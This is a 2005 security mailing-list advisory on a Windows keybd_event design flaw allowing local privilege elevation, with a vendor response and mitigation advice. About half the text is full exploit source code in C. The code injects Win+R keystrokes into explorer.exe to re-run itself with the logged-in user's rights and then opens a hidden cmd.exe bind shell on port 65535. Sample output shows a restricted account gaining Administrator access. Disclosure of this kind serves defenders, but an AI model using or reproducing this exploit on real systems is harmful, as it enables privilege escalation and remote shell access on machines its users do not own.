Date: Mon Sep  5 12:09:29 2005
From: atarasco at gmail.com (Andres Tarasco)
Subject: Microsoft Windows keybd_event validation
	vulnerability

Vulnerability: Microsoft Windows keybd_event validation vulnerability.
Type:......... Design Flaw
Vendor:....... Microsoft
Impact:....... Local Privilege Elevation.
Credits:...... Andr?s Tarasc? ( aT4r @ Haxorcitos.com<http://Haxorcitos.com>)
.......I?aki Lopez ( ilo @ reversing.org <http://reversing.org> )
Timeline:..... 
8 June 2005 - Vendor Notified.
9 June 2005 - First Microsoft Response.
8 July 2005 - Microsoft identifies the vulnerability as design flaw error. 
[MSRC 6005bgs]


Description:
____________

As is Known, with the current Microsoft Security Model, applications that 
share the destkop 
are able to send messages between them.
Every Desktop application is able to obtain the handle of every process 
executed in the same desktop.

This feature and the possibility of any application to emulate a virtual 
keyboard by sending key strokes, 
allows every process to send messages and keys as if there were an 
interactive user.


Attack Scenario:
____________________


There are at least two known scenerarios that will allow this attack to 
succeed.

- Runas Service allow application execution as if it were launched by 
another user. In some cases, a 
user could execute an untrusted application (like malware) with restricted 
rights by downgrading 
privileges and executing a shell where that suspicious application will be 
executed and tested. This 
application shares the same desktop as all the user applications.

- Every running service with the flag INTERACT_WITH_DESKTOP will be able to 
access user Desktop.


attack:
_______


If an attacker is able to gain access to an application executed in any of 
those ways (direct malware 
execution or exploiting a security flaw in that software) by using Windows 
apis (keybd_event or SendKeys) 
he will be able to send keystrokes that will be handled by
explorer.exeallowing it to execute arbitrary
code with logged user rights. This attack will allow to bypass security 
restrictions offered by the runas 
Service and elevate privileges.


Vendor Response:
________________________


After talking with MSRC (Microsoft Security Response Center) Microsoft have 
identified this vulnerability as 
a design flaw, where the desktop is the security limit, so there is 
currently no solution because some
automatic tools and virtual keyboard included in Windows XP would not work 
if this feature did not exist.


Solution:
____________


- Only allow trusted applications to be run as a service with access to the 
desktop.
- Do not use runas Service in production enviroments.


Exploit:
_________

Exploit code attached:


/*
* Microsoft Windows keybd_event validation vulnerability.
* Local privilege elevation
*
* Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com <http://haxorcitos.com>)
* I?aki Lopez ( ilo _@_ reversing.org <http://reversing.org> )
*
* Platforms afected/tested:
*
* - Windows 2000
* - Windows XP
* - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
* http://www.reversing.org 
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application 
executed
* with the application runas.
* b) An attacker who gains access to a service with flags 
INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send keys to 
any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and elevate 
privileges
* getting loggued user privileges and bypass runas/service security 
restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Versi?n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd \
*
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Versi?n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
int i;


GetWindowThreadProcessId(hwnd,&hwndid);

if (hwndid == pid){
/*
Replace keybd_event with SendMessage() and PostMessage() calls 
*/
printf("HANDLE Found. Attacking =)\n");
SetForegroundWindow(hwnd);
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
for(i=0;i<strlen(buf);i++) {
if (buf[i]==':') {
keybd_event(VK_SHIFT,1,0,0);
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
} else {
if (buf[i]=='\\') {
keybd_event(VK_LMENU,1,0,0);
keybd_event(VK_CONTROL,1,0,0);
keybd_event(VkKeyScan('?'),1,0,0);
keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('?'),1,KEYEVENTF_KEYUP,0);
} else {
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
}
}
}
keybd_event(VK_RETURN,1,0,0);
keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
exit(1);
}
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

SOCKET s,s2;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;

if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
exit(1); }

sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(HAXORCITOS);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
len=sizeof(sa);
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
return(-1); }
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
s2 = accept(s,(struct sockaddr *)&sa,&len);
closesocket(s);

ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = (void *) s2; // SOCKET
si.hStdOutput = (void *) s2;
si.hStdError = (void *) s2;
if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) {
doFormatMessage(GetLastError());
return(-1);
}

WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
printf("SALIMOS...\n");
Sleep(5000);
return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
HWND console_wnd = NULL;

if (argc >= 2) {
pid = atoi (argv[1]);
strncpy(buf,argv[0],sizeof(buf)-1);
EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
} else {
BindShell();
}
}
/**************************************************************/
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